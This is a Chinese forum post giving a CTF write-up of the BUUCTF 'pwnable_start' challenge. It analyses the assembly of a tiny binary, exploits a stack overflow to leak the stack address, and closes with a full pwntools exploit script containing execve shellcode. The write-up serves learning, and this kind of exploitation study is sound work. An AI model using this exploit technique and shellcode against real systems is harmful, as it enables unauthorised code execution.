首页
社区
课程
招聘
[原创][BUUCTF]pwnable_start1
发表于: 2022-1-28 22:51 7800

[原创][BUUCTF]pwnable_start1

2022-1-28 22:51
7800

题目复现

非常有意思的一道题,文件大小诡异,应该直接汇编写的
输出后无回显
图片描述
图片描述
只有两个函数,要想getshell,只有写入代码执行的可能
图片描述
主体部分_start函数很短,c语言不如汇编直观
图片描述

  1. esp,返回地址_exit入栈后,把寄存器清零
    图片描述
  2. 20字节的Let's start the CTF:分五次入栈
    ecx寄存器保存esp地址
    通过int 80中断的方式执行了write(fd,len,addr)函数
    图片描述
  3. 同样int 80中断执行read(fd,len,addr)
    addr仍为之前的esp
    但是len(即dl) 变成0x3c,存在栈溢出
    esp+0x14,esp回到_exit地址处
    图片描述

解题思路

本题可利用的rop很少
首先本题很难通过中断的方式实现read函数任意写,write函数基本只能在栈中0x3c的范围内操作,shellcode就在栈内
因此想执行代码就得先拿到esp,我们直接返回到8048087:mov ecx,esp那一句,执行write函数打印出esp
大致思路可以确定:

  1. 第一次payload覆盖返回地址为0x8048087,得到esp地址
  2. 第二次payload中写入shellcode,返回地址填入调试得到的shellcode地址

调试过程

根据上面的分析,我列出了几个关键点中栈的分布
下面我们就需要确定第二次payload的shellcode_addr
注意一点:shellcode写在shellcode_addr前后理论上都可以,但addr后(0x3c-0x14-4=36)较大,因此写在shell_addr后(pwntools自带的shellcode超过36,网上搜到的shellcode好像是21,好像只能写在addr后了)
图片描述
当前的esp可以看出比栈内保存的esp小4,shellcode_addr比esp大0x14+4,得到shellcode_addr
图片描述


payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
context.log_level = 'debug'
context.arch = 'i386'
 
io = process('./start')
#io = remote('node4.buuoj.cn', 26920)
 
io.recv()
mov_ecx_esp = 0x8048087
payload1 = b'a'*0x14 + p32(mov_ecx_esp)
io.send(payload1)
 
leak_addr = u32(io.recv(4))
cur_esp = leak_addr - 4
payload2 = b'a'*0x14 + p32(cur_esp + 0x14 + 4)
shellcode = b'\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
print(len(shellcode))
payload2 += shellcode
io.send(payload2)
 
#gdb.attach(io)
io.interactive()

总结

  1. 这道题锻炼了在精简代码中利用rop的能力
  2. 对于栈溢出的利用,要先有一个基本栈结构的分析,再通过调试验证自己的分析

[课程]Android-CTF解题方法汇总!

最后于 2022-1-28 22:53 被N1co5in3编辑 ,原因:
收藏
免费 2
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//